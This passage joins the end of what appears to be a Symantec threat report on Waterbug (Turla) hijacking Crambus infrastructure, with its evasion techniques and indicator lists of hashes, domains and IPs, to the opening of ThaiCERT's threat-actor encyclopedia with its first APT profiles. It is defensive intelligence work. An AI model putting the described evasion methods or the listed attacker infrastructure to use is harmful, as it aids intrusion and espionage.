Crambus. Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug. It was heavily modified, with almost all original code stripped out aside from its sekurlsa::logonpasswords credential stealing feature. Waterbug has frequently made extensive modifications to publicly available tools, something Crambus is not well known for. The variant of Mimikatz used was packed with a custom packing routine that has not been seen before in any non-Waterbug malware. Waterbug used this same packer on a second custom variant of Mimikatz and on a dropper for the group s custom Neuron service (Trojan.Cadanif). Its use in the dropper leads us to conclude that this custom packer is exclusively used by Waterbug. Additionally, this version of Mimikatz was compiled using Visual Studio and the publicly available bzip2 library which, although not unique, has been used by other Waterbug tools previously. Aside from the attack involving Crambus infrastructure, this sample of Mimikatz has only been seen used in one other attack, against an education target in the UK in 2017. On that 4/11 occasion, Mimikatz was dropped by a known Waterbug tool. In the case of the attack against the Middle Eastern target, Crambus was the first group to compromise the victim s network, with the earliest evidence of activity dating to November 2017. The first observed evidence of Waterbug activity came on January 11, 2018, when a Waterbug-linked tool (a task scheduler named msfgi.exe) was dropped on to a computer on the victim s network. The next day, January 12, the aforementioned variant of Mimikatz was downloaded to the same computer from a known Crambus C&C server. Two further computers on the victim s network were compromised with Waterbug tools on January 12, but there is no evidence that Crambus infrastructure was used in these attacks. While one of these computers had been previously compromised by Crambus, the other showed no signs of Crambus intrusion. 5/11 Figure 2. Waterbug likely compromised the C&C network infrastructure of Crambus Waterbug s intrusions on the victim s network continued for much of 2018. On September 5, 2018, a similar Mimikatz variant was dropped by Waterbug s Neptun backdoor onto another computer on the network. At around the same time, other Waterbug malware was seen on the victim s network which communicated with known Waterbug C&C servers. Finally, the issue was clouded further by the appearance of a legitimate systems administration tool called IntelliAdmin on the victim s network. This tool is known to have been used by Crambus and was mentioned in the leak of Crambus documents. However, in 6/11 this case, IntelliAdmin was dropped by custom Waterbug backdoors, including the newly identified Neptun backdoor, on computers that had not been affected by the Crambus compromise. The incident leaves many unanswered questions, chiefly relating to Waterbug s motive for using Crambus infrastructure. There are several possibilities: 1. False flag: Waterbug does have a track record of using false flag tactics to throw investigators off the scent. However, if this was a genuine attempt at a false flag operation, it begs the question of why it also used its own infrastructure to communicate with other machines on the victim s network, in addition to using tools that could be traced back to Waterbug. 2. Means of intrusion: It is possible that Waterbug wanted to compromise the target organization, found out that Crambus had already compromised its network, and hijacked Crambus s own infrastructure as a means of gaining access. Symantec did not observe the initial access point and the close timeframe between Waterbug observed activity on the victim s network and its observed use of Crambus infrastructure suggests that Waterbug may have used the Crambus infrastructure as an initial access point. 3. Mimikatz variant belonged to Crambus: There is a possibility that the version of Mimikatz downloaded by the Crambus infrastructure was actually developed by Crambus. However, the compilation technique and the fact that the only other occasion it was used was linked to Waterbug works against this hypothesis. The fact that Waterbug also appeared on the victim s network around the same time this version of Mimikatz was downloaded would make it an unlikely coincidence if the tool did belong to Crambus. 4. Opportunistic sowing of confusion: If a false flag operation wasn t planned from the start, it is possible that Waterbug discovered the Crambus intrusion while preparing its attack and opportunistically used it in the hopes of sowing some confusion in the mind of the victim or investigators. Based on recent leaks of Crambus internal documents, its Poison Frog control panel is known to be vulnerable to compromise, meaning it may have been a relatively trivial diversion on the part of Waterbug to hijack Crambus s infrastructure. A compromise conducted by one threat actor group through another's infrastructure, or fourth party collections, has been previously discussed in a 2017 white paper by Kaspersky researchers. Further campaigns Waterbug has also mounted two other campaigns over the past year, each of which was characterized by separate tools. These campaigns were wide ranging, hitting targets in Europe, Latin America, and South Asia. 7/11 In the first campaign, Waterbug used two versions of a custom loader named javavs.exe (64bit) and javaws.exe (32-bit), to load a custom backdoor named PhotoBased.dll and run the export function GetUpdate on the victim s computers. The backdoor will modify the registry for the Windows Media Player to store its C&C configuration. It also reconfigures the Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool. The backdoor has the capability to download and upload files, execute shell commands, and update its configuration. The javaws.exe loader is also used to run another loader named tasklistw.exe. This is used by the attackers to decode and execute a series of malicious executables that download Meterpreter to the infected computer. The attackers also install another backdoor that runs a command shell via the named pipe cmd_pipe. Both backdoors allow the attackers to execute various commands that provide full control of the victim s system. Waterbug also used an older version of PowerShell, likely to avoid logging. In the second campaign, Waterbug used an entirely different backdoor, named securlsa.chk. This backdoor can receive commands through the RPC protocol. Its capabilities include: Executing commands through cmd.exe with the output redirected into a temporary file Reading the command output contained in the temporary file Reading or writing arbitrary files This RPC backdoor also included source code derived from the tool PowerShellRunner, which allows a user to run PowerShell scripts without executing powershell.exe, therefore the user may bypass detection aimed at identifying malicious PowerShell usage. While both campaigns involved distinct tools during the initial compromise phase, there were also many similarities. Both were characterized by the use of a combination of custom malware and publicly available tools. Also, during both campaigns Waterbug executed multiple payloads nearly simultaneously, most likely to ensure overlapping access to the network if defenders found and removed one of the backdoors. Waterbug took several steps to avoid detection. It named Meterpreter as a WAV file type, probably in the hope that this would not raise suspicions. The group also used GitHub as a repository for tools that it downloaded post-compromise. This too was likely motivated by a desire to evade detection, since GitHub is a widely trusted website. It used Certutil.exe to download files from the repository, which is an application whitelist bypass technique for remote downloads. In one of these campaigns, Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest. It then packages stolen files into a password8/11 protected RAR archive. The malware then uses WebDAV to upload the RAR archive to a Box account. Unanswered questions This is the first time Symantec has observed one targeted attack group seemingly hijack and use the infrastructure of another group. However, it is still difficult to ascertain the motive behind the attack. Whether Waterbug simply seized the opportunity to create confusion about the attack or whether there was more strategic thinking involved remains unknown. Waterbug s ever-changing toolset demonstrates a high degree of adaptability by a group determined to avoid detection by staying one step ahead of its targets. Frequent retooling and a penchant for flirting with false flag tactics have made this group one of the most challenging adversaries on the targeted attack landscape. Protection/Mitigation Symantec has the following protection in place to protect customers against these attacks: File-based protection Backdoor.Whisperer Hacktool.Mimikatz Threat Intelligence The DeepSight Managed Adversary and Threat Intelligence (MATI) team co-authored this blog and its customers have received intelligence with additional details about these campaigns, the characteristics of the Waterbug (aka Turla) cyber espionage group, and methods of detecting and thwarting activities of this adversary. Indicators of Compromise Campaign 1 24fe571f3066045497b1d8316040734c81c71dcb1747f1d7026cda810085fad7 66893ab83a7d4e298720da28cd2ea4a860371ae938cdd86035ce920b933c9d85 7942eee31d8cb1c8853ce679f686ee104d359023645c7cb808361df791337145 7bd3ff9ba43020688acaa05ce4e0a8f92f53d9d9264053255a5937cbd7a5465e a1d9f5b9ca7dda631f30bd1220026fc8c3a554d61db09b5030b8eb9d33dc9356 c63f425d96365d906604b1529611eefe5524432545a7977ebe2ac8c79f90ad7e cb7ecd6805b12fdb442faa8f61f6a2ee69b8731326a646ba1e8886f0a5dd61e0 db9902cb42f6dc9f1c02bd3413ab3969d345eb6b0660bd8356a0c328f1ec0c07 9/11 e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea 5da013a64fd60913b5cb94e85fc64624d0339e09d7dce25ab9be082f0ca5e38b c8a864039f4d271f4ab6f440cbc14dffd8c459aa3af86f79f0619a13f67c309f 588fd8eba6e62c28a584781deefe512659f6665daeb8c85100e0bf7a472ad825 cda5b20712e59a6ba486e55a6ab428b9c45eb8d419e25f555ae4a7b537fc2f26 694d9c8a1f0563c08e0d3ab7d402ffbf5a0fa11340c50fba84d709384ccef021 caaed70daa7832952ae93f41131e74dcb6724bb8669d18f28fbed4aa983fdc0c 493eee2c55810201557ef0e5d134ca0d9569f25ae732df139bb0cb3d1478257f 0e9c3779fece579bed30cb0b7093a962d5de84faa2d72e4230218d4a75ee82bc 5bbeed53aaa40605aabbfde31cbfafd5b92b52720e05fa6469ce1502169177a0 d153e4b8a11e2537ecf99aec020da5fad1e34bbe79f617a3ee5bc0b07c3abdca vision2030.tk vision2030.cf dubaiexpo2020.cf microsoft.updatemeltdownkb7234.com codewizard.ml updatenodes.site https://vision2030.tk/static/googleupdate.txt https://dubaiexpo2020.cf/counter.aspx https://microsoft.updatemeltdownkb7234.com/windows/update.aspx https://codewizard.ml/productivity/update.aspx Campaign 2 10d1bfd5e8e1c8fa75756a9f1787c3179da9ab338a476f1991d9e300c6186575 3fbec774da2a145974a917aeb64fc389345feb3e581b46d018077e28333601a5 52169d7cdd01098efdde4da3fb22991aaa53ab9e02db5d80114a639bf65bce39 56098ed50e25f28d466be78a36c643d19fedc563a2250ae86a6d936318b7f57e 595a54f0bbf297041ce259461ae8a12f37fb29e5180705eafb3668b4a491cecc 5dc26566b4dec09865ea89edd4f9765ef93e789870ed4c25fcc4ebad19780b40 6b60b27385738cac65584cf7d486913ff997c66d97a94e1dde158c9cd03a4206 846a95a26aac843d1fcec51b2b730e9e8f40032ee4f769035966169d68d144c4 c4a6db706c59a5a0a29368f80731904cc98a26e081088e5793764a381708b1ea d0b99353cb6500bb18f6e83fe9eed9ce16e5a8d5b940181e5eafd8d82f328a59 ee7f92a158940a0b5d9b902eb0ed9a655c7e6ba312473b1e2c9ef80d58baa6dd 94.249.192.182 Campaign 3 10/11 454e6c3d8c1c982cd301b4dd82ec3431935c28adea78ed8160d731ab0bed6cb7 4ecb587ee9b872747408c00de5619cb6b973e7d39ce4937655c5d1a07b7500fc 528e2567e24809d2d0ba96fd70e41d71c18152f0f0c4f29ced129ed7701fa42a 6928e212874686d29c85eac72553ccdf89aacb475c61fa3c086c796df3ab5940 b22bbda8f504f8cced886f566f954cc245f3e7c205e57139610bbbff0412611c d52b08dd27f2649bad764152dfc2a7dea0c8894ce7c20b51482f4a4cf3e1e792 e7e41b3d7c0ee2d0939bb56d797eaf2dec44516ba54b8bf1477414b03d4d6e48 ec3da59d4a35941f6951639d81d1c5ff73057d9cf779428d80474e9656db427c fbefe503d78104e04625a511528584327ac129c3436e4df09f3d167e438a1862 markham-travel.com zebra.wikaba.com 185.141.62.32 212.21.52.110 Symantec s managed adversary and threat intelligence (MATI) team of intelligence analysts & researchers are dedicated to understanding the adversary ecosystem and providing insightful customer reports detailing their plans, tactics, tools, and campaigns. 11/11 THREAT GROUP CARDS: A THREAT ACTOR ENCYCLOPEDIA Compiled by ThaiCERT a member of the Electronic Transactions Development Agency TLP:WHITE Version 1.01 (19 June 2019) Threat Group Cards: A Threat Actor Encyclopedia Contents Introduction............................................................................................................................................................................ 8 Approach ........................................................................................................................................................................... 8 Legal Notice ...................................................................................................................................................................... 9 Acknowledgements .......................................................................................................................................................... 9 Advanced Persistent Threat (APT) Groups.................................................................................................................... 10 Anchor Panda, APT 14 .................................................................................................................................................. 11 Allanite ............................................................................................................................................................................. 12 APT 3, Gothic Panda, Buckeye.................................................................................................................................... 13 APT 5 ............................................................................................................................................................................... 15 APT 6 ............................................................................................................................................................................... 16 APT 12, Numbered Panda ............................................................................................................................................ 17 APT 16, SVCMONDR .................................................................................................................................................... 19 APT 17, Deputy Dog ...................................................................................................................................................... 20 APT 18, Dynamite Panda, Wekby ............................................................................................................................... 21 APT 19, C0d0so ............................................................................................................................................................. 22 APT 20, Violin Panda..................................................................................................................................................... 23 APT 29, Cozy Bear, The Dukes ................................................................................................................................... 24 APT 30, Override Panda ............................................................................................................................................... 27 APT 32, OceanLotus, SeaLotus .................................................................................................................................. 29 APT 33, Elfin ................................................................................................................................................................... 33 Axiom, Group 72............................................................................................................................................................. 34 Bahamut........................................................................................................................................................................... 35 Barium .............................................................................................................................................................................. 37 Berserk Bear, Dragonfly 2.0 ......................................................................................................................................... 39 Blackgear ......................................................................................................................................................................... 40 BlackOasis....................................................................................................................................................................... 41 BlackTech ........................................................................................................................................................................ 42 Blind Eagle ...................................................................................................................................................................... 44 Blue Termite, Cloudy Omega ....................................................................................................................................... 45 Bookworm........................................................................................................................................................................ 46 Bronze Butler, Tick ......................................................................................................................................................... 47 Buhtrap............................................................................................................................................................................. 48 Cadelle ............................................................................................................................................................................. 50 Threat Group Cards: A Threat Actor Encyclopedia Callisto Group ................................................................................................................................................................. 51 Carbanak, Anunak ......................................................................................................................................................... 52 Careto, The Mask ........................................................................................................................................................... 53 Chafer, APT 39 ............................................................................................................................................................... 54 Charming Kitten, Newscaster, NewsBeef .................................................................................................................. 56 Clever Kitten .................................................................................................................................................................... 58 Cobalt Group ................................................................................................................................................................... 59 Cold River ........................................................................................................................................................................ 62 Comment Crew, APT 1.................................................................................................................................................. 63 Confucius ......................................................................................................................................................................... 65 CopyKittens, Slayer Kitten ............................................................................................................................................ 66 Corkow, Metel ................................................................................................................................................................. 67 Covellite ........................................................................................................................................................................... 68 Cutting Kitten, TG-2889................................................................................................................................................. 69 Dark Caracal ................................................................................................................................................................... 71 DarkHotel ......................................................................................................................................................................... 72 DarkHydrus, LazyMeerkat ............................................................................................................................................ 74 Deep Panda, APT 26, Shell Crew, WebMasters, KungFu Kittens ......................................................................... 75 Desert Falcons ................................................................................................................................................................ 78 DNSpionage .................................................................................................................................................................... 80 Domestic Kitten............................................................................................................................................................... 81 Donot Team..................................................................................................................................................................... 82 DragonOK........................................................................................................................................................................ 83 DustSquad ....................................................................................................................................................................... 84 Dust Storm....................................................................................................................................................................... 85 Elderwood, Sneaky Panda............................................................................................................................................ 86 El Machete....................................................................................................................................................................... 88 Energetic Bear, Dragonfly ............................................................................................................................................. 89 Equation Group............................................................................................................................................................... 92 Emissary Panda, APT 27, LuckyMouse, Bronze Union ........................................................................................... 94 FIN4, Wolf Spider ........................................................................................................................................................... 96 FIN5 .................................................................................................................................................................................. 97 FIN6, Skeleton Spider ................................................................................................................................................... 98 FIN7 .................................................................................................................................................................................. 99 Threat Group Cards: A Threat Actor Encyclopedia FIN8 ................................................................................................................................................................................ 102 FIN10.............................................................................................................................................................................. 103 Flying Kitten, Ajax Security Team .............................................................................................................................. 104 Gallmaker ...................................................................................................................................................................... 105 Gamaredon Group ....................................................................................................................................................... 106 GCMAN .......................................................................................................................................................................... 107 GhostNet, Snooping Dragon ...................................................................................................................................... 108 Goblin Panda, Cycldek ................................................................................................................................................ 109 Goldmouse .................................................................................................................................................................... 110 Gorgon Group ............................................................................................................................................................... 111 GozNym ......................................................................................................................................................................... 113 Group5 ........................................................................................................................................................................... 114 Hidden Lynx, Aurora Panda........................................................................................................................................ 115 Honeybee ...................................................................................................................................................................... 117 Hurricane Panda, Zirconium, APT 31 ....................................................................................................................... 118 Icefog, Dagger Panda .................................................................................................................................................. 119 Inception Framework ................................................................................................................................................... 121 Infy, Prince of Persia .................................................................................................................................................... 123 Iridium............................................................................................................................................................................. 125 Ke3chang, Vixen Panda, APT 15, GREF, Playful Dragon..................................................................................... 126 Kimsuky, Velvet Chollima............................................................................................................................................ 128 Lazarus Group, Hidden Cobra, Labyrinth Chollima ................................................................................................ 129 Subgroup: Andariel, Silent Chollima...................................................................................................................... 134 Subgroup: Bluenoroff, APT 38, Stardust Chollima .............................................................................................. 135 Lead................................................................................................................................................................................ 137 Leafminer, Raspite ....................................................................................................................................................... 138 Leviathan, APT 40, TEMP.Periscope........................................................................................................................ 139 Longhorn, The Lamberts ............................................................................................................................................. 141 Lotus Blossom, Spring Dragon .................................................................................................................................. 142 Lucky Cat ....................................................................................................................................................................... 144 Lurk ................................................................................................................................................................................. 145 Mabna Institutem, Silent Librarian ............................................................................................................................. 146 Madi ................................................................................................................................................................................ 147 Magic Hound, APT 35, Cobalt Gypsy, Rocket Kitten ............................................................................................. 148 Threat Group Cards: A Threat Actor Encyclopedia Moafee ........................................................................................................................................................................... 151 Mofang ........................................................................................................................................................................... 152 Molerats, Extreme Jackal, Gaza Cybergang ........................................................................................................... 153 MoneyTaker .................................................................................................................................................................. 157 MuddyWater, Seedworm, TEMP.Zagros, Static Kitten .......................................................................................... 158 Mustang Panda............................................................................................................................................................. 161 Naikon, Lotus Panda ................................................................................................................................................... 162 Neodymium ................................................................................................................................................................... 164 NetTraveler, APT 21 .................................................................................................................................................... 165 Night Dragon ................................................................................................................................................................. 166 Nightshade Panda, APT 9, Group 27........................................................................................................................ 167 Nitro, Covert Grove ...................................................................................................................................................... 168 OilRig, APT 34, Helix Kitten ........................................................................................................................................ 169 Subgroup: Greenbug ............................................................................................................................................... 173 Operation BugDrop ...................................................................................................................................................... 174 Operation Ghoul ........................................................................................................................................................... 175 Operation Groundbait .................................................................................................................................................. 176 Operation Parliament ................................................................................................................................................... 177 Operation Potao Express ............................................................................................................................................ 178 Orangeworm ................................................................................................................................................................. 179 PassCV .......................................................................................................................................................................... 180 Patchwork, Dropping Elephant................................................................................................................................... 181 Pirate Panda, APT 23, KeyBoy .................................................................................................................................. 183 PittyTiger, Pitty Panda ................................................................................................................................................. 184 Platinum ......................................................................................................................................................................... 186 Poseidon Group............................................................................................................................................................ 187 Promethium ................................................................................................................................................................... 188 Putter Panda, APT 2 .................................................................................................................................................... 189 Rancor............................................................................................................................................................................ 190 Reaper, APT 37, Ricochet Chollima.......................................................................................................................... 191 Roaming Tiger .............................................................................................................................................................. 194 RTM ................................................................................................................................................................................ 195 Sandworm Team, Iron Viking, Voodoo Bear............................................................................................................ 196 Samurai Panda, APT 4 ................................................................................................................................................ 197 Threat Group Cards: A Threat Actor Encyclopedia ScarCruft........................................................................................................................................................................ 198 Scarlet Mimic................................................................................................................................................................. 200 Sea Turtle ...................................................................................................................................................................... 201 Shadow Network .......................................................................................................................................................... 202 Silence ........................................................................................................................................................................... 203 Sima ............................................................................................................................................................................... 204 Slingshot ........................................................................................................................................................................ 205 Snake Wine ................................................................................................................................................................... 206 Snowglobe, Animal Farm ............................................................................................................................................ 207 Sofacy, APT 28, Fancy Bear, Sednit ......................................................................................................................... 208 Sowbug .......................................................................................................................................................................... 216 Stalker Panda ............................................................................................................................................................... 217 Stealth Falcon, FruityArmor ........................................................................................................................................ 218 Stolen Pencil ................................................................................................................................................................. 219 Stone Panda, APT 10, menuPass ............................................................................................................................. 220 Strider, ProjectSauron ................................................................................................................................................. 223 Suckfly............................................................................................................................................................................ 224 TA459 ............................................................................................................................................................................. 225 TA505 ............................................................................................................................................................................. 226 Taidoor ........................................................................................................................................................................... 228 TeamSpy Crew ............................................................................................................................................................. 229 TeleBots ......................................................................................................................................................................... 230 Temper Panda, admin@338 ...................................................................................................................................... 232 TEMP.Veles .................................................................................................................................................................. 233 Terbium .......................................................................................................................................................................... 234 Thrip ............................................................................................................................................................................... 235 Transparent Tribe, APT 36 ......................................................................................................................................... 236 Tropic Trooper .............................................................................................................................................................. 238 Turla, Waterbug, Venomous Bear ............................................................................................................................. 239 Urpage ........................................................................................................................................................................... 243 Volatile Cedar ............................................................................................................................................................... 244 Whitefly .......................................................................................................................................................................... 245 Wicked Spider, APT 22 ............................................................................................................................................... 246 Wild Neutron, Butterfly, Sphinx Moth ........................................................................................................................ 247 Threat Group Cards: A Threat Actor Encyclopedia Winnti Group, Blackfly, Wicked Panda ..................................................................................................................... 249 WindShift ....................................................................................................................................................................... 251 [Unnamed group] .......................................................................................................................................................... 252 Some Other Prolific Criminal Groups ............................................................................................................................ 253 Achilles ........................................................................................................................................................................... 253 Dungeon Spider............................................................................................................................................................ 254 Fxmsp............................................................................................................................................................................. 255 Gnosticplayers .............................................................................................................................................................. 256 Gold Lowell, Boss Spider ............................................................................................................................................ 258 Grim Spider ................................................................................................................................................................... 259 Hacking Team ............................................................................................................................................................... 260 Indrik Spider .................................................................................................................................................................. 261 Lunar Spider.................................................................................................................................................................. 262 Mummy Spider, TA542 ................................................................................................................................................ 263 Operation Comando..................................................................................................................................................... 264 OurMine ......................................................................................................................................................................... 265 Pacha Group ................................................................................................................................................................. 266 Pinchy Spider ................................................................................................................................................................ 267 Rocke ............................................................................................................................................................................. 268 Shadow Brokers ........................................................................................................................................................... 269 [Vault 7/8]....................................................................................................................................................................... 271 Wizard Spider ............................................................................................................................................................... 272 Zombie Spider............................................................................................................................................................... 273 APPENDIX: Sources Used ............................................................................................................................................. 274 Threat Group Cards: A Threat Actor Encyclopedia Introduction When analyzing security incidents we always face the question which adversary we are possibly dealing with and what we know about their prior engagements and TTP, to get a better understanding of how to approach and what else to look for. This document aims to create full profiles of all threat groups worldwide that have been identified with all research generously shared by anti-virus and security research organizations over the years. It can be used as threat group cards , as the document title suggests, to have everything together in an elaborate profile for each threat group. All dates shown in the cards are the dates when the stated activities started, not necessarily when the reports about them came out. All information in this document comes from public sources (OSINT). The difficult part of attributing campaigns to actors has been done by those security research organizations as well. What makes this difficult is the fact that there may be some overlap between threat groups, where they share tools or people move between groups, or when groups suddenly change tactics or type of target. Not all groups have been publicly documented as well as others; most groups have remained rather obscure and, of course, not all individual campaigns resulted in public knowledge targeted companies usually don t welcome such exposure. As a National CERT, ThaiCERT has a strictly neutral role and everything collected in this document does in no way signify specific endorsements, placing blame on countries or taking sides. With that said, compiling this document has been a tremendously interesting journey into the dark world of cybercrime and the groups associated with it. Note: Users of the MISP can also use the MISP Threat Actor cluster (galaxy) located at Approach In order to obtain an initial set of actors, we perused the public archives from MISP, MITRE and the volunteer overview on Google Docs (resource 1-3 in the APPENDIX: Sources Used). Generally, those, as well as media reports about threats, tend to lump everything together as aliases or synonyms be it actual group names as tracked by research organizations, alleged (state) sponsor names, individual campaigns run by the group or specific pieces of malware used by the group. In this report, aliases are only listed as such if we could realistically determine it to be a fact, generally because we found which organization gave it that name. Everything else known about each actor has been split off into the relevant fields (sponsors, operations, tools). The next step was to search our Risk Intelligence archive and after that, using our favorite Internet search engine for any public news about each and every actor to find all their campaigns and other activities that have been discovered. Analysis of those (thousands of) reports created the total overview of all tools used and where this actor has been observed in terms of countries and sectors. Lastly, we went over the entire rich archive known as Malpedia to augment the set with malware names that had not appeared in the reports we saw. In each step we took great care to make sure only Open Source Intelligence appeared in this document. Threat Group Cards: A Threat Actor Encyclopedia Legal Notice This encyclopedia has been developed to catalog all known important adversaries to information security, with the aim to get a better understanding of international threats and to aid in faster response to future incidents. The content is based on the public knowledge of the security community and not solely the view of ThaiCERT and ETDA. It may not necessarily represent state-of-the-art and it might be updated from time to time. Third party sources are quoted as appropriate. ThaiCERT is not responsible for the content of the external sources, including external websites, nor their continued availability, referenced in this encyclopedia. Where specific vendors or product names are given, those do not mean endorsement from ThaiCERT, but serve to document history only. This encyclopedia is intended for educational and information purposes only. Neither ThaiCERT nor any person acting on its behalf is responsible for the use that might be made of the information contained in this encyclopedia. All information contained herein is provided on an As Is basis with no warranty whatsoever. ThaiCERT/ETDA does not promise any specific result, effects or outcome from the use of the information herein. This encyclopedia is published under a Creative Commons AttributionNonCommercial-ShareAlike 4.0 International License1. Copyright Electronic Transactions Development Agency (Public Organization), 2019 Acknowledgements ThaiCERT express our sincere gratitude to the various CERT teams and security research organizations who peerreviewed this document and provided valuable input and feedback. We are also very grateful for the security researchers who published so many and so detailed reports, as well as, indirectly, all the volunteers who contributed to the projects we could consult (listed in the APPENDIX: Sources Used). 1 Creative Commons License: Threat Group Cards: A Threat Actor Encyclopedia Advanced Persistent Threat (APT) Groups Cybereason provides the following definition of an Advanced Persistent Threat: An advanced persistent threat is a stealthy cyberattack in which a person or group gains unauthorized access to a network and remains undetected for an extended period. The term's definition was traditionally associated with nation-state sponsorship, but over the last few years we ve seen multiple examples of non-nation state groups conducting large-scale targeted intrusions for specific goals. Apart from all the APT groups profiled in this chapter, there are of course others, but no public information is available about them. Especially CrowdStrike has been very active in researching APT groups and mentioned the following names in passing, in summary reports: Big Panda, Foxy Panda, Hammer Panda, Impersonating Panda, Judgement Panda, Karma Panda, Keyhole Panda, Kryptonite Panda, Maverick Panda, Nomad Panda, Poisonous Panda, Predator Panda, Toxic Panda, Union Panda, Wet Panda, Corsair Jackal and Ghost Jackal. Threat Group Cards: A Threat Actor Encyclopedia Anchor Panda, APT 14 Names Anchor Panda (CrowdStrike) APT 14 (Mandiant) Aluminium (Microsoft) QAZTeam Country China Sponsor State-sponsored, PLA Navy Motivation Information theft and espionage Description (CrowdStrike) Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. Not surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted. Observed Sectors: Aerospace, Defense, Engineering, Government, Industrial and NGOs in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. Countries: Australia, Germany, Sweden, UK, USA and others. Tool used Gh0st RAT, Poison Ivy and Torn RAT. Information Threat Group Cards: A Threat Actor Encyclopedia Allanite Names Allanite (Dragos) Palmetto Fusion (DHS) Country [Unknown] Motivation Information theft and espionage Description (Dragos) Allanite accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in United States and United Kingdom electric utility sectors. Dragos assesses with moderate confidence that Allanite operators continue to maintain ICS network access to: (1) understand the operational environment necessary to develop disruptive capabilities, (2) have ready access from which to disrupt electric utilities. Allanite uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. Allanite operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities. Allanite conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system. Observed Sectors: Energy. Countries: UK and USA. Tools used Inveigh, Powershell scripts, PSExec, SecreetsDump and THC Hydra. Information Threat Group Cards: A Threat Actor Encyclopedia APT 3, Gothic Panda, Buckeye Names APT 3 (Mandiant) Gothic Panda (CrowdStrike) Buckeye (Symantec) TG-0110 (SecureWorks) UPS Team (Symantec) Group 6 (Talos) Country China Sponsor State-sponsored, Ministry of State Security and Internet security firm Guangzhou Bo Yu Information Technology Company Limited ( Boyusec Motivation Information theft and espionage Description (Recorded Future) APT3 (also known as UPS, Gothic Panda, and TG-011) is a sophisticated threat group that has been active since at least 2010. APT3 utilizes a broad range of tools and techniques including spear-phishing attacks, zero-day exploits, and numerous unique and publicly available remote access tools (RAT). Victims of APT3 intrusions include companies in the defense, telecommunications, transportation, and advanced technology sectors as well as government departments and bureaus in Hong Kong, the U.S., and several other countries. Observed Sectors: Aerospace, Construction, Defense, High-Tech, Manufacturing, Technology, Telecommunications and Transportation. Countries: Belgium, Hong Kong, Italy, Luxembourg, Philippines, Sweden, UK, USA and Vietnam. Tools used APT3 Keylogger, Bemstour, CookieCutter, DoublePulsar, EternalBlue, HTran, Hupigon, Kaba, LaZagne, OSInfo, Pirpi, PlugX, shareip, SHOTPUT, TTCalc, w32times and several 0-days for IE, Firefox and Flash. Operations performed 2007 Hupigon and Pirpi Backdoors Apr 2014 Operation Clandestine Fox FireEye Research Labs identified a new Internet Explorer (IE) zeroday exploit used in targeted attacks. The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11. This zeroday bypasses both ASLR and DEP. Microsoft has assigned CVE2014-1776 to the vulnerability and released security advisory to track this issue. Jun 2014 Operation Clandestine Fox , Part Deux While Microsoft quickly released a patch to help close the door on future compromises, we have now observed the threat actors behind Operation Clandestine Fox shifting their point of attack and using a new vector to target their victims: social networking. Nov 2014 Operation Double Tap Threat Group Cards: A Threat Actor Encyclopedia This actor initiated their most recent campaign on November 19, 2014 targeting multiple organizations. The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113. Counter operations Jun 2015 Operation Clandestine Wolf In the last several weeks, APT3 actors launched a large-scale phishing campaign against organizations in the following industries: Aerospace and Defense, Construction and Engineering, High Tech, Telecommunications and Transportation. Mar 2016 Variant of the DoublePulsar Backdoor Beginning in March 2016, Buckeye began using a variant of DoublePulsar (Backdoor.Doublepulsar), a backdoor that was subsequently released by the Shadow Brokers in 2017. DoublePulsar was delivered to victims using a custom exploit tool (Trojan.Bemstour) that was specifically designed to install DoublePulsar. DOJ reveals indictment against Chinese cyber spies that stole U.S. business secrets (2017) U.S. Charges Three Chinese Hackers Who Work at Internet Security Firm for Hacking Three Corporations for Commercial Advantage (2017) Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia APT 5 Names APT 5 (FireEye) Country China Motivation Information theft and espionage Description (FireEye) We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies. More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors. Several times, APT5 has targeted organizations and personnel based in Southeast Asia. APT5 has been active since at least 2007. It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. APT5 targeted the network of an electronics firm that sells products for both industrial and military applications. The group subsequently stole communications related to the firm s business relationship with a national military, including inventories and memoranda about specific products they provided. In one case in late 2014, APT5 breached the network of an international telecommunications company. The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company relationships with other telecommunications companies Observed Sectors: Defense, High-Tech, Industrial, Technology and Telecommunications. Countries: Southeast Asia. Tools used LEOUNCIA. Information Threat Group Cards: A Threat Actor Encyclopedia APT 6 Names APT 6 (FireEye) 1.php Group (Zscaler) Country China Motivation Information theft and espionage Description (Kaspersky) The FBI issued a rare bulletin admitting that a group named Advanced Persistent Threat 6 (APT6) hacked into US government computer systems as far back as 2011 and for years stole sensitive data. The FBI alert was issued in February and went largely unnoticed. Nearly a month later, security experts are now shining a bright light on the alert and the mysterious group behind the attack. This is a rare alert and a little late, but one that is welcomed by all security vendors as it offers a chance to mitigate their customers and also collaborate further in what appears to be an ongoing FBI investigation, said Deepen Desai, director of security research at the security firm Zscaler in an email to Threatpost. Details regarding the actual attack and what government systems were infected are scant. Government officials said they knew the initial attack occurred in 2011, but are unaware of who specifically is behind the attacks. Given the nature of malware payload involved and the duration of this compromise being unnoticed the scope of lateral movement inside the compromised network is very high possibly exposing all the critical systems, Deepen said. Observed Sectors: Government. Countries: USA. Tools used Poison Ivy. Information Threat Group Cards: A Threat Actor Encyclopedia APT 12, Numbered Panda Names APT 12 